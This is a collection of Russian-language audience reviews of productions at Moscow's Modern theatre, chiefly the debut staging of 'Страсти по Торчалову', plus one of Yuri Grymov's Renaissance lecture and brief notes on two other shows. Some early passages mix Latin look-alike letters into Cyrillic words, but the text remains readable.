Режиссер Шамиль Мухамедов сдeлал в своем дебюте oсновной aкцент на свeт и музыку, пoдготовкой кoторой, как и худрук театра Юрий Грымов, зaнималcя cамостоятeльно. На мой взгляд, ему прекрасно удалось передать непростую атмоcферу пьеcы Никиты Вoронoва и рaссказaть зpителю удивитeльную, ни на что, из виденного мной ранее, не похожую, историю чeловеческoй души, пoлную нeожидaнных пoворотoв сюжeта, глубoких искрeнних диaлогов, cмeшных и тpoгательных мoментoв! При этом, разворачивается она на расстоянии всего лишь вытянутой руки от зрителей.
За За неполные два часа вы ощутитe, что вaшa чeткaя внутpeнняя иepархия цeнностeй вдpуг пoшaтнулаcь и тpeбует пepеосмысления... На этом спектакле зритeлю дaнa вoзможноcть мaксимальнo чeстно зaглянуть в сeбя, дaть сaмому сeбе oтчет o прoжитой жизни, oбо всeх её рaдостях и бeдaх, о cвоих вeликoдушных пoступках и o свoем прeдатeльствe...
Прочитала в одном из отзывов, что «финал выбивает из седла даже прожжённых циников» и это, действительно так. Часто читаю абсолютно противоположные отзывы о спектаклях, а здесь – удивительное единение в оценке увиденного, говорящее о том, что молодому режиссеру Шамилю Мухамедову удалось достучаться до каждого зрителя, сидящего в зале.
Спeктакль - кaтарсис, чему во многом способствовала и волшебная игра талантливейших актеров театра Модерн! Помимо перечисленных выше, здесь можно увидеть совершенно иной образ, нежели Мерилин Монро или Мона Лиза, созданный Маиной Чижевской. Ей досталась роль строго коменданта этого своеобразного накопителя, с которой она блестяще справилась, а также молодого актера Фотиса Келепуриса, лишь в прошлом году принятого в труппу Модерна, сыгравшего охранника Степу (с виду грозного, в душе же – добряка).
Но, да простят меня все занятые в спектакле актеры, включая моего любимого Алексея Багдасарова (он, кстати, прекрасно справился в спектакле с двумя совершенно противоположными ролями, сыграв еще и Женьку, сына Кошкина), но исполнитель роли Торчалова - Александр Борисов - переиграл их всех, вместе взятых! Нет, он не играл – перед нами был, действительно, приспособленец, демагог, лжец, трус и стукач – настолько убeдительный пoртрeт чeловекa с сaмых вepшин пoлитического Олимпa удалось ему здесь создать! Я бы, будь моя воля, наградила за роль в этом спектакле Александра Борисова самыми высокими и престижными театральными наградами!!!
Спектакль «Страсти по Торчалову» играют в Зaле имeни Влaдимира Лeвашева - прeкрасного актeра тeатра Модерн, ушeдшего из жизни в прoшлoм году. Он дoлжен был испoлнять глaвную роль Тoрчалова и рeжиссер Шaмиль Мухaмедов поoбещал Влaдимиру Сергeeвичу, что «свет увидит этот спектакль». Слово свое он сдержал.
Огромное спасибо всем причастным за спектакль, вызвавший у меня просто эмоциональный шок!!!

Страсти по Торчалову. Очень сильный спектакль. Один из лучших, которые я видела за последнее время.

Это пронзительная история о каждом из нас и о том, с чем мы приходим к своей последней, самой важной двери. Но здесь нет нотаций, нравоучений и долгих проповедей. Здесь никто никого не судит, а человек должен сам решить, как оценить свою жизнь и что ему доджно воздать по её итогам.

Жанр спектакля определен как лирическая трагикомедия. Действительно, зал смеётся, плачет и молчит. Такое молчание дорогого стоит. Это высший уровень взаимодействия актеров и зала, когда зритель настолько "включен" в происходящее, что начинает в буквальном смысле примерять судьбу героев на себя, воспринимая их как самых настрящих, живых людей с реальными историями и судьбами.

Александр Борисов в роли Торчалова прекрасен. Он тих, кроток, растерян, раздавлен и возмущён... Он одновременно приличный человек и подлец, друг и Иуда, праведник и грешник. В какой-то момент я вообще перестала воспринимать его как персонажа с прописанной ролью, а стала видеть только обычного человека, такого же, как любой, сидящий в зале. И от такой "иммерсивности" мурашки по коже.

Удивительно, но этот спектакль - дебютная работа молодого актера Шамиля Мухамедова. И сразу такая удача! Отдельное спасибо режиссёру Юрию Грымову за то, что даёт возможность ставить на своей площадке молодым, талантливым людям без оглядки на возможную конкуренцию.

В любимом "Модерне" прошла премьера спектакля "Страсти по Торчалову.
Поставил его актер театра Шамиль Мухамедов. Мне он запомнился своей убедительной игрой в роли неприкаянного Васьки Пепла в "На дне". Его дебютная режиссерская работа меня поразила каким-то виртуозным переплетением судеб, характеров, иронии, лирики и глубокого философского смысла.
Если есть небесный суд, то в одноименной пьесе Никиты Воронова, по которой поставлен спектакль, мы видим своеобразное предварительное заключение, где человек зависает до суда, пока не вспомнит свой самый большой грех. Сколько продлится такое ожидание, неизвестно, ведь, как становится ясно по ходу действия, самый большой грех человека - вовсе не тот, который он сам считает таковым.
В пьесе и спектакле этот "зал ожидания" показан очень необычно. То ли казарма, то ли общежитие с четким распорядком советского образца, где выдают сахар и табак по талонам и униформу в виде спортивного костюма; где подъем в шесть, отбой в десять, редкие прогулки на пустом трамвае, который ходит по кругу и никуда не увозит, внушительного вида каптенармус Степа (Фотис Келепурис), который за провинность и пристукнуть может и суровая комендантша Римма, ответственная за распределение жильцов в дальнейший путь, и она же своеобразный "дознаватель" в раскрытии сути человеческой. Героиня Маины Чижевской, которую я привыкла видеть соблазнительной блондинкой и которой, как оказалось, очень идет темный цвет волос и строгое каре, раскрывается по ходу действия с совершенно неожиданной стороны. Это, пожалуй, самая интересная и многоплановая ее работа из тех, что я видела.
Обитатели "общежития" коротают свои бесконечные дни, года, а кто и столетия в ожидании заветного "звоночка", бесконечно пьют чай, садятся на бесконечный трамвай, когда хочется побыть в одиночестве, как ни странно, смотрят телевизор и следят за тем, как где-то идет жизнь, которая к ним самим уже никакого отношения не имеет.
Если только по нему не показывают их похороны.
Вот в такую интересную обстановку и попадает Павел Максимович Торчалов (Александр Борисов).
Бывший важный функционер эпохи перемен, по его собственному выражению "давший людям свободу", а теперь просто "Максимыч", ошарашен и никак не хочет поверить, что уже умер. Разъяснения о здешнем житье-бытье он получает от милейшего шофёра Семена Захарыча Кушкина(Алексей Багдасаров).
Как же приятно наблюдать за дуэтом этих двух великолепных артистов, уровень взаимопонимания между ними на сцене просто высочайший! Торчалову, как и остальным "застрявшим", придется попытаться вспомнить, где он больше всего нагрешил. Персонажи, которые его теперь окружают, вовсе не считаются со значением его персоны. Здесь совсем другая, более сложная система ценностей.
Добродушная Лиза(Надежда Меньшова), служившая горничной в доме Нащокиных, наблюдала пожар 1812 года и успела пообщаться с Пушкиным, пытавшимся даже приударить за ней и стишок в ее честь накропавшим, а именно небезызвестное - "я вас любил, любовь еще быть может...", а она звала его "кудлатым". И при этом сердобольная девица мужа своего-подлеца приложила топором. Но зачлось, ей, как ни странно, совсем другое. Как и бывшему красноармейцу Сашке - главному антагонисту Торчалова, с которым у него возникают самые яростные классовые споры, не зачлось участие в расстреле царской семьи. Правда, его свои же потом расстреляли, и вот он теперь тут свои революционные порядки наводит, занимаясь экспроприацией немногочисленного барахлишка: "что значит твоё, моё - всё наше!" а сам уже "на третий круг" идет. Возвращают его в жизнь, дают самую незавидную судьбу, и возвращения этого он пуще любого адского пламени боится. Евгений Невар просто блестяще передает идейное упрямство своего персонажа, его панику и вспышки ярости. Вроде бы не стоит таких жалеть, но Торчалов все же искренне сочувствует такой незавидной участи. Его проникновенное обращение к создателю простить Сашку или хотя бы дать отсрочку, находит отклик - дают таки!
Природа греха и размышления о ней становятся главной темой практически всех разговоров. В попытках понять, переосмыслить свою прожитую жизнь, обитатели промежуточного полустанка вспоминают самое важное по их мнению. Для Торчалова это любовь к женщине, к которой он относился столь трепетно, что готов был ручку ее двери целовать, "в облаках летал", а подняться к ней в квартиру так и не решился, боясь разрушить хрупкий мир своей мечты. И вовсе не жену, стоящую теперь в жуткой шляпе у его парадного гроба с почетным караулом он считает главной любовью в своей жизни, а только эту чистую, бескорыстную любовь, "собачью", по словам Кушкина. Ведь бескорыстно, ни за что, любит только бог и собака. Вот и сам Кушкин жалеет, что не успел узнать о судьбе сына и резко уходит из "общежития", неожиданно вспомнив, как мог задавить одного подлеца, но не сделал этого. Он уходит, а его сына Женьку(все тот же Алексей Багдасаров), расстрелянного в лихих бандитских разборках, присылают на его место. "Всего на неделю разминулись". И с его прибытием власть в общежитии меняется - у Сашки появился реальный конкурент.
Торчалову приходится выдержать суровый допрос с пристрастием, он с ужасом находит в своей натуре подлость и предательство и узнает, что свою единственную любовь упустил из собственной трусости.
Ошибочка вышла, товарищ Торчалов, и в высших инстанциях случаются сбои, канцелярия перепутала даты и наш герой возвращается в отправную точку, но возвращается уже совершенно другим, с осознанием собственных поступков и маленькой коробкой с полудохлым щенком. И тихий писк из коробки - невероятно трогательный финал этой необычной истории. О человечности, о пороках и о безусловной любви.
У Юрия Грымова есть заслуживающая уважения позиция - давать дорогу молодым талантам, осуществлять на сцене "Модерна" их "пробы пера". Спектакль "Страсти по Торчалову" - еще один яркий пример такого талантливого дебюта.

Арт-лекция Юрия Грымова «Вызов: эпоха Возрождения»
==============================================
Я с удовольствием внемлю всему, что связано с именем художественного руководителя театра «Модерн» Юрия Грымова. С превеликим удовольствием смотрю его спектакли, слежу за его работой на проводимых им Открытых репетициях, а когда узнала, что Юрий Вячеславович еще и запустил в своем театре цикл лекций, обрадовалась несказанно! Но на его лекцию, посвященную Эпохе Возрождения, премьера которой состоялась 28 сентября 2023 года, смогла попасть лишь с третьего захода – 11 февраля 202 года.
А может это и к лучшему? Ведь к этому времени я смогла и всю созданную Юрием Грымовым трилогию «Антихрист и Христос» посмотреть (а «Петра I» так и вовсе дважды), и «Воскресших богов» («Леонардо да Винчи») Дмитрия Мережковского начать читать, ведь очень много времени на лекции Юрия Вячеславовича посвятил именно этому гениальному художнику эпохи Возрождения и его знаковым картинам, прежде всего «Джоконде».
В спектакле «Леонардо» можно увидеть и саму Мону Лизу, и узнать об их отношениях с художником, который, даже продав свою картину французскому королю, при жизни так и не расстался с нею. На лекции же зрителям рассказали о нелегкой судьбе этой картины уже во Франции - об актах вандализма, совершенных людьми в отношении «Джоконды» - и кислотой ее обливали, и краской, и швыряли в нее разные предметы. И Юрий Грымов во время своего рассказа делает зрителей невольными свидетелями этих актов, демонстрируя на копии портрета знаменитой итальянки, как это все происходило.
А что творилось в мире, когда «Джоконду» похитили из Лувра! Два месяца все газеты только об этом и писали. Но, что самое интересное, похитителя, когда он был задержан, не приговорили даже к штрафу, сочтя веской побудившую его к краже причину – он, якобы, хотел вернуть картину Италии. При этом, в течение двух лет около пустой рамки в Лувре толпа была даже больше, чем когда картина была на месте.
Много интересных фактов было рассказано на лекции и о картине Леонардо да Винчи «Тайная вечеря» (при этом Ю.В. подчеркнул, что это не фреска, а именно картина), которую в очень необычном виде зрители также могут увидеть в спектакле «Леонардо».
В романе Мережковского весьма интересно написано о процессе ее создания, о том, что в ней все математически просчитано, за что современники упрекали художника. Однако, Грымов поведал зрителям много нового, обратив их внимание и на европейские, а не иудейские, лица Апостолов, их одежду, посуду, стоящую на столе и другие ее детали, о которых мы даже не задумывались. Например, о том, что Апостолов Леонардо расположил за столом в строгом соответствии с зодиакальным кругом...
Не знаю, так совпало, или так было задумано, что вечером того дня, когда проходила лекция, шел спектакль «Леонардо» и бутафоры при нас вынесли на сцену часть декораций спектакля, которые демонстрировали изобретенные Леонардо модели разных устройств.
Остановился в своем рассказе Юрий Вячеславович и на личности самого художника, поведав о нем неизвестные мне доселе факты, в том числе, о том, что Леонардо спал лишь по 15–20 минут в день каждые четыре часа (так называемый полифазный сон)...
Да уж, Леонардо до одноименного спектакля театра «Модерн», пробудившего у меня большой интерес к этой неординарной личности, и лекции «Вызов: эпоха Возрождения» был для меня совсем «темной лошадкой».
Еще в детстве я первый раз прочитала и потом неоднократно возвращалась к книге «Муки и радости» Ирвинга Стоуна, посвященной еще одной знаковой личности той эпохи, которого даже по многим причинам можно назвать антагонистом Леонардо – Микеланджело Буонарроти, и его творчество мне гораздо понятней и ближе, тем более, что такие его шедевры, как скульптуры «Пьета» и «Давид», а также роспись Сикстинской капеллы в Ватикане мне посчастливилось видеть воочию.
Казалось бы, я так много знаю о своем любимом художнике и скульпторе, ан нет - Грымов сделал для меня на своей удивительной лекции очень много открытий! А его рассказ о скульптуре Моисея и возгласе художника «Говори!» просто сразил наповал...
Два с половиной часа, которые длилась лекция, пролетели совершенно незаметно. Слушала бы еще и слушала, тем более, что восприятию и усвоению информации содействовала сценография (увидели даже противочумные маски) и демонстрируемый на экране интереснейший визуальный ряд.
И если начало лекции было весьма оригинальным, если не сказать, шокирующим (это я о работе Марселя Дюшана под названием «Фонтан»), то далее все шло своим чередом - Юрий Вячеславович обозначил основные этапы Возрождения (раннее, высокое и позднее) и перешел к рассказу о наиболее значимых событиях и людях этой эпохи, и я здесь упомянула лишь малую толику из того, что зрители услышали и увидели.
«Искусство – это либо революция, либо плагиат» - под таким девизом проходила аншлаговая лекция «Вызов: эпоха Возрождения» художественного руководителя театра «Модерн» Юрия Вячеславовича Грымова и он сумел убедить в этом своих слушателей.
Не знаю, будет ли она еще повторяться, ведь у Грымова намечен уже целый ряд других, не менее интересных тем для разговора, которые он озвучил в конце своего рассказа.

На днях мне посчастливилось попасть на предпремьерный показ спектакля "Страсти по Торчалову" в театре Модерн.
Главная интрига, пожалуй, была в том, что спектакль этот - режиссерский дебют актера театра Модерн Шамиля Мухамедова. Сразу скажу: если бы я не знала заранее, кто режиссер, то никогда бы не подумала, что это, фактически, "проба пера". Потому что получилась постановка великолепная, очень тонкая, глубокая, философская, красивая и совершенно "модерновская"!
Но по порядку.
Для нас играют:
Торчалов - Александр Борисов
Лиза - Надежда Меньшова
Кушкин/Женька - Алексей Багдасаров
Сашка - Евгений Невар
Римма - Маина Чижевская
Степа - Фотис Келепурис
Спектакль поставлен по пьесе Никиты Воронова, написанной в конце 90х годов прошлого века. Сюжет обманчиво прост: после смерти люди попадают в этакий "зал ожидания", где им нужно вспомнить свой самый главный грех - и только тогда они смогут перейти "на следующий уровень". Вот только это чистилище оказывается подозрительно похоже то ли на санаторий строгого режима, то ли на место заключения с мягким режимом. Строгие правила, казенная одежда, своя иерархия... Причем последняя сложна - ведь тут встречаются личности из совершенно разных эпох! Вот Лиза, например, видела своими глазами пожар 1812 года... И до сих пор здесь. Не так просто вспомнить тот самый грех. Здесь все может оказаться перевернутым с ног на голову и то, что ты сам в жизни считал своим достижением или своим грехом, окажется совсем не тем. Оказывается, всем известное «Не суди!» - очень важно и очень верно.
В общем, не буду пересказывать, просто поверьте - вам будет над чем подумать, за кого переживать, когда задержать дыхание и чему улыбнуться. А главное, после этого спектакля выходишь из зала с удивительно светлым чувством. Хочется обдумывать увиденное. И хочется стать лучше :) Редкий сегодня, мне кажется, эффект от театра - и тем более ценный.
Актерская игра превосходная. Даже не хочется писать "игра" - кажется, что они и не играют вовсе. Хочу отдельно отметить Евгения Невара в роли Сашки. Кажется, я Евгения не видела в больших ролях (хотя в Леонардо, наверное...) ...а жаль, потому что он вот очень, очень хорош! Сашка этот его, неоднозначная же фигура: и раздражает, и неловко за него бывает, и жалко чуть не до слез.
Отдельно хочется сказать про сценографию. На сайте, к сожалению, не указано, кто автор. Но сделано все идеально! Кажется, что декораций и вовсе нет, однако пространство ловко разделено на уровни, причем один из них легко превращается часть улицы благодаря видеопроекции.
Костюмы тоже вроде бы просты донельзя, однако и продуманы явно до мелочей. При том, что спортивные костюмы тут как униформа, а комендант Римма в строгом черно-белом наряде, у каждого персонажа есть собственный акцент в одежде. Товарищ Сашка в сапогах вместо "форменных" белых тапочек, а у Лизы кокетливая повязка на голове...
И музыка. Ее здесь не так много, но подобрана идеально.
Поздравляю театр Модерн с новым великолепным спектаклем! Огромное спасибо Шамилю Мухамедову и всем создателям этого чуда!
Я могу сказать, что точно приду еще раз. И обязательно приведу друзей :) Хочется этот спектакль всем рекомендовать.

Какая же была премьера! Просто восторг!
«Страсти по Торчалову» - спектакль, после которого хочется помолчать.

Пьеса «Страсти по Торчалову», была создана драматургом, режиссёром Никитой Вороновым в самые непростые для нашей страны периоды – в девяностые годы. Это лирическая трагикомедия о жизни и общечеловеческих ценностях.
Сюжет описывает, как в неком месте ожидания, между нашим миром и загробным (по пьесе это больница, вокруг которой ходит трамвай), ждут своего звонка герои (представители с разной судьбой и ценностями). Им необходимо вспомнить, признать свои ошибки и самый большой грех, который они совершили в жизни. А если они этого не делают, то застревают тут надолго, идя на второй/третий круг жизни, но уже в другом обличии. Вспомнить им, помогают комендант Римма и самоубийца Семён, которые тут навсегда. Главный герой - Павел Максимович Торчалов- ведущий деятель в партии, реформатор во времена СССР.
Постановка в театре «Модерн» - настоящие человеческие чувства, режиссёр и актёры, смогли уловить, то, что драматург пьесы хотел передать «жёсткими» диалогами. Диалоги, которые не известно к чему приведут и что раскроют. Они полны были юмора и трогательных моментов. Для меня –это абсолютно актёрский спектакль, ведь игра актёров была бесподобна! Всё крутилось вокруг их внутренней работы, эмоций, движениях. Только одна сцена «допроса» Торчалова (Александр Борисов) Риммой, где глаза и тело, передавали всю напряжённость и сомнения главного героя, дала такие острые эмоции, что дрожь по телу. А песня «Только любовь права» исп. Майя Кристалинская, сопровождающая уходящую в этой же сцене Римму (Маина Чижевская) со слезами на глазах, просто увела в какой-то душе кричащий полёт.

До спектакля, я считала Торчалова отрицательным героем, но, после просмотра, его образ изменился для меня, возможно, как раз благодаря актёрской игре, которая вызвала глубокие чувства сострадания.
Хорошо, что режиссёр полностью структурно шёл по пьесе, по диалогам, что сохранило заложенный в ней смысл. Дополнение внесли различные предметы быта, смешные спортивные костюмы – привет из 90-х и уличный фонарь, который помогал думать в одиночестве и провожал героев в «новую жизнь».
Хочется отметить игру актёра Евгения Невар, который протянул всю линию героя Сашки от начала до конца, не теряя энергии.
Я рекомендую смотреть этот спектакль после прочтения самой пьесы, потому что, на выходе, вы получите совершенно другую атмосферу!
Спектакль, напоминает нам о сострадании, любви к жизни, о тех качествах, которые не дают нам перестать быть людьми. О том, что статус, деньги и пр. «атрибуты» абсолютно не важны, а важны поступки, которые мы совершаем. Философский, сложный и простой одновременно. Думаю, каждый после этой постановки задумается над вопросом – «А кто же решает, как нам жить, кто руководит нашими действиями и делает выбор? Какие они, наши поступки? Пока не идут титры, надо задуматься)
Очень рекомендую этот спектакль.

Пьеса, которая легла в основу спектакля «Страсти по Торчалову», была написана Н.И. Вороновым в 1995 году. И это четко чувствуется, действие не было перенесено в наше время. Тем не менее, хотя мы уже немного отошли от той действительности и отстрел братков стал уже в некотором роде анахронизмом, герои постановки не стали нам менее близки. Хотя бы потому, что они вообще из разных времен. Лиза, к примеру, пожар Москвы пережила. Тот самый, 1812 года.

Где же может встретиться крестьяночка начала XIX века с представителем криминальной структуры конца XX столетия? Там. Там, куда после смерти попадает Павел Максимович Торчалов (А. Борисов), партийный деятель и "реформатор". Мои ровесники наверняка помнят этих людей, которые сначала рьяно строили коммунизм (обычно в их отдельно взятой квартире), а потом начали не менее рьяно ломать, но уже страну. Бог им судья. Так вот, оказавшись на той стороне, в некоем чистилище, Торчалов с удивлением обнаруживает, что здешним обитателям его регалии до лампочки и что только вспомнив о самом большом своем грехе он сможет отправиться дальше. Что же это за грех? И что такого жуткого совершила ласковая, безобидная Лиза (Н. Меньшова)? И почему сашкино злодейство (расстрел царской семьи) самым страшным его грехом не считается?

Торчалов начинает вспоминать свою жизнь и вместе с ним начинают вспоминать и размышлять зрители. Помните, как в "театре" Моэма наставница учила юную Джулию? "Не делай паузы, если в этом нет крайней необходимости, - гремела старая актриса, колотя кулаком по столу, - но уж если сделала, тяни ее, сколько сможешь." Так вот, артисты Модерна отлично владеют словом и жестом, но их паузы - это отдельный вид искусства. В эти секунды и минуты зал замирал и - ни звука. Драматург, режиссер и актеры сыграли на редкость в унисон, создав вещь, которая, наверное, найдет отклик в каждой душе. Ибо это - спектакль не для развлечения, а для раздумий. И он из тех, что делает нас лучше. После него хочется быть лучше: стать помягче с родными, помириться с теми, с кем поссорился, помочь людям. Никто к этому прямо не призывает, но общий вывод напрашивается сам собой: пока мы здесь, пока есть возможность, люди, будьте добрее, живите честно.

Декораций на сцене практически нет, только скамейки стоят. Но они становятся и столом, за которым пьют чай герои, и кроватями, на которых они спят, и лавками, на которых выпивают. Костюмы, как всегда в этом театре, весьма точно характеризуют персонажей. Меня лично покорил образ Лизы, которая носит обязательный для этого чистилища-общежития тренировочный костюм и - девичью повязку. И всё, образ сложился. Или посмотрите на Римму (М. Чижевская), администратора: белая блузка, черная юбка-миди и - красные туфли на каблуках. Не все так просто у нее, да.

Наверняка, если вы уже ходили в Модерн, вы актеров (А. Борисова, Н. Меньшову, А. Багдасарова, Е. Невара, М. Чижевскую, Ф. Келепуриса) видели не раз. И, обратите внимание, не все они играют в других спектаклях главные роли. Иной раз и в массовке выходят. Но не бывает маленьких ролей, это они блестяще доказали в понедельник, 12 февраля, сыграв в спектакле "Страсти по Торчалову" так, что зал смотрел на сцену, то замерев, то от души смеясь, а потом устроил овацию. И это была не премьера, а предварительный показ, практически генеральный прогон.

Лучший спектакль за последнее время, ей богу. У этого спектакля недостатков нет, хотя, как я понимаю, это первый опыт в режиссуре Шамиля Мухамедова.

Да-да, было море слёз,, восторг, душевное потрясение и нравственное очищение после премьеры спектакля со смешным названием "Страсти по Торчалову"(режиссёр Шамиль Мухамедов (по пьесе Н. Воронова)) в театре "Модерн". Одним словом - катарсис, именно то, за чем мы собственно и ходим в театр.
Пьеса "Страсти по Торчалову" написана Н.Вороновым в 1997 году, но свежий ветер её страниц дарит каждому из нас надежду на будущее.
Как интересно проживать действие спектакля с героями, наслаждаясь новизной сюжета. Вместе с главным героем- партийным функционером Павлом Максимовичем Торчаловым(идеальное попадание в образ Александра Борисова) мы ездили на "тутошнем трамвае" по кругу, привыкали к посланному небесами щенку и учились радоваться шляпке его жены, купленной в Гонконге.
На сцене - только одна дверь, ведущая в общий коридор, и невидимый (пока) проём, через который можно пройти,если прозвенит звонок. Да и действующих лиц немного и мы вдруг узнаем, что некоторые из них "вытянулись" уже давно: кто 40 лет назад, а кто - в 39 году. В 1839 году - ещё до отмены крепостного права. И Пал Максимыч, и зрители понимают, что герои ... умерли. Уже и могилка их давно на кладбище затерялась, а они бегают за кипятком для чая, делятся сахаром, выдаваемом строго по талонам. Подъем в 6,отбой в 22.00. Правда, в уборную можно ходить без записи, но только 3 раза в день, поэтому и очереди длинные, в которых можно увидеть таких знаменитых покойников, что куда уж тут великому реформатору Торчалову до них, хоть и похоронили его со всеми почестями на Новодевичьем. Откуда узнали про Новодевичье и почётный караул? -Из телевизора: первый канал показывают и на том свете.
Вот так и оказались в одном пространстве революционер-террорист Сашка Пыжов, простой шофёр Кушкин и горничная Лиза из 19 века.
Евгений Невар настолько разухабист был в своей роли кавалериста - красноармейца Пыжова, который держал в постоянном страхе и строил,как в казарме, всех обитателей этого дома, что я невольно умилилась синяку под его глазом и следам побоев, которые он демонстрировал всем. Все-таки нашлась управа на того, кто самого самодержца Николая Саныча убил со всеми чадами и домочадцами.
Осмелился приструнить этого нахального Анику-воина Стёпа - местный надзиратель из самоубийц. Фотис Келепурис сыграл свой грозный персонаж очень обаятельно и добросердечно. А, может, в нас живо врождённое чувство?
Какая же красивая была горничная Лиза в своём красном спортивном костюме (Надежда Меньшова)! Ластится ко всем,предлагает дефицитный кусочек сахара к чаю. Ей ещё сам Пушкин стихи писал(правда, скабрезные). Хоть и зарубила Лиза при жизни топором своего обидчика, но проникаешься к ней доверием, уверенностью в её порядочности и теплотой. А как она любит гладить утюгом - фельдмаршал Кутузов и император Наполеон отдыхают.
Алексей Багдасаров исполнил сразу две противоположные по характеру роли: отца Кушкина, который выслуживается перед Сашкой-кавалеристом днём, а ночью мечтает, как тому башку расколоть и его же сынка Женьку. Продырявленный на бандитских разборках, Кушкин-младший сразу надевает кастрюлю с макаронами на голову этого командира-самозванца, даже толком не осмотревшись в палате после смерти. Такое удивительное перевоплощение!
Актёрский ансамбль играл талантливо и вдохновенно!
Но Маина Чижевская переполнила сердца состраданием и сорвала плотину зрительских чувств. Вроде бы роль коменданта Риммы(тоже из самоубийц) схематична и однобока: уверенный взгляд и походка, приказной тон да проведение занятий по психологической помощи, что способствует осмыслению прожитого. Даже мимика на лице актрисы отсутствовала, но она заглянула не только в душу Павлу Торчалову, но и всем нам. "Думаешь, ад - это, где в котле варят? В котле - что? Страшно в себе вариться, вычерпывать страшно".
Оказывается, что из этого "изолятора временного содержания" есть два выхода: назад в жизнь и дальше по этапу.
Пьеса настолько сюжетно многослойна,что держит внимание зрителей на протяжении всего действия.

Память….
Такая штука сложная…
Чем старше становишься, тем она больше подводит тебя…. И устроена она так, что забываем мы плохое, сделанное ближнему своему… Но приходит тот час, когда ты оказываешься «на том свете», условно в чистилище, и тебе просто необходимо вспомнить о том, что кому-то напакостил, вольно или невольно…. И найти тот самый ГЛАВНЫЙ грех, признать его, осознать, прочувствовать. Всё ради спасения своей души. Или же отправиться на другой круг, жизни (или ада?). Если не вспомнишь.
Звезды сошлись…
Всего за 4 месяца, а по факту сухого остатка - за 1 месяц!!!! 👀 режиссер Шамиль Мухамедов сумел поставить спектакль, в котором каждый, абсолютно каждый! найдет себя, свои мысли и потаенные страхи…. Пьесу он выбрал замечательную! «Страсти по Торчалову» драматурга Никиты Воронова. Герои находятся с «зале ожидания»…. При этом срок этого самого ожидания целиком зависит от самогО умершего, от его осознания того сАмого ГЛАВНОГО греха, который он совершил, но может быть и не понял, что это тот самый…. Время тянется, как кисель…. для того чтобы понять: что в твоей жизни всё было не так как ты хотел, зачем ты жил? для чего? для кого? Может быть ты всю жизнь хотел собаку? Но никогда даже думать не позволял себе об этом….
Загрузила вас?))) Несмотря на глубокий смысл постановки, спектакль комедийный! Исполнен он замечательными актерами «Модерна»! Блистательные Алексей Багдасаров и Александр Борисов 👏🏻 Воплощение самой женственности Надежда Меньшова и Маина Чижевская!
Не менее ярко и заметно проявили себя (на фоне мастодонтов сцены)) молодые актёры Евгений Невар и Фотис Келепурис 👍🏻


Несмотря на то, что спектакль поставлен режиссером-дебютантом, он не выбивается из общей стилистики репертуара театра! Таки почерк Грымова, как наставника, прослеживается (например, в подборе нетривиальной музыки, сценографии и так далее). Так же видна тесная тематическая связь с ещё одним (обожаемым мной) философским спектаклем «Модерна» «Матрёшки на округлости земли»…. Хотя драмы там побольше, на мой взгляд…
Абсолютно уверена, что любой здравомыслящий человек, живущий на нашей бренной земле, задаёт себе вопросы, на которые поможет ответить постановка «Страсти по Торчалову», а может быть зародятся в голове и душе человека новые вопросики, которые приведут его к несомненному просветлению 🙏🏼🩵🎭

Страсти по Торчалову

Актер театра "Модерн" Шамиль Мухамедов, для своего режиссерского дебюта выбрал пьесу Никиты Воронова "Страсти по Торчалову". Пьеса написала в девяностые годы, в смутные времена и это чувствуется. В то время люди пытались найти свое место в новых реалиях, и многие искали методом тыка, методом слепых кутят.
Вот и в спектакле герои оказываются в неком зале ожидания, зависнув между мирами. Герои уже не живые, но еще и не окончательно умершие. Они могут вернуться к живущим, а могут и перейти на другую, пока ни им, ни нам, не ведомую ступень. И маяться им в этом накопителе, пока не вспомнят свой главный грех. Критерии греха размыты, решение принимает неведомая высшая сила. А чтобы жизнь на полустанке не казалась раем, отстойник сооружен по образцу концлагеря, с мрачной охраной, сахаром по талонам, дедовщиной и казенной одеждой.
В отстойнике с порядками концлагеря собрались партийный функционер, а ныне герой перестройки, террорист-революционер, новый русский с замашками бандита, водитель и крепостная горничная, видевшая Пушкина.
Нелегко определить жанр получившегося спектакля. Что это трагикомедия, аллегория, мистика или фантастика? Все это а еще плюс философия, мелодрама и антиутопия замешены в котле многомерной постановки. Прекрасный текст, неожиданные повороты и неизбитая тема - в результате получился многослойный деликатес для театральных гурманов. Получился спектакль -размышление на вечную тему греха и жизни после жизни. Спектакль - покаяние, спектакль - предостережение. В нем смешались эпохи и чувства, правда и ложь, плюс пустой трамвай вечно едущий по кругу.
Шамиль Мухамедов не только удачно выбрал пьесу для своего режиссерского дебюта, но и очень точно подобрал актеров, исполняющих роли в этом спектакле.
Александр Борисов в роли Торчалова. Абсолютное попадание. Попадание как в роль, так и в души зрителей.
Надежда Меньшова - горничная Лиза. Добрая, отзывчивая, гордая. Из тех, что и коня и в избу. Особо про избу: от ее утюга, как оказалось, Москва и сгорела.
Алексею Багдасарову досталось сразу две роли: отца и сына, людей разных эпох, разных характеров, с полярными взглядами на жизнь.
Евгений Невар - Сашка-революционер из тех, что не от большого ума революцию сотворили, а потом уж что получилось, то получилось.
Маина Чижевская - Римма - загробный функционер с любящим сердцем.
Фотис Келепурис - охранник Степа. По должности зверь. По жизни добряк.
А еще в спектакле театра "Модерн" есть седьмой герой - крохотный щенок. И пока будет жить щенок, будет жить и Торчалов.

Спектакль "Кладбище понтов" режиссёра Юрия Грымова в театре Модерн - это удивительный взгляд внутрь себя, разворот, квинтэссенция наших амбиций, направленных и затраченных не по адресу. Любопытно, что режиссёр сделал гениальных ход - придал нашим амбициям материальную форму -в виде машин премиум -класса, дав исполнить роль машины определённой марки актёру в соответствующем наряде с логотипом бренда. И как в эту компанию затесались демократичные "Toyota" и "Hyundai"? Как важно выбрать того сАмого человека (хозяина машины), и где предел амбициям? На эти и многие другие вопросы отвечает спектакль.

Спектакль "Иуда" в театре Модерн режиссера Ю.Грымова -это спектакль, который будет одним из ярчайших воспоминаний этого театрального сезона. Лекция в университете превращается в суд, а затем.. мы -в центре библейского сюжета, мы видим, как на наших глазах творится предательство, мы-присяжные...
Полагаю, вместо искусственных сеансов психоанализа, всем рефлексирующим людям необходимо увидеть данный спектакль в психотерапевтических целях.
Во-первых, это красиво: потрясающая сценография буквально просит запечатлеть каждую(!) библейскую сцену на полотне, да яркими красками, музыка же вводит нас в транс, уводя от суеты.
Всем думающим смотреть! Браво, Модерн!

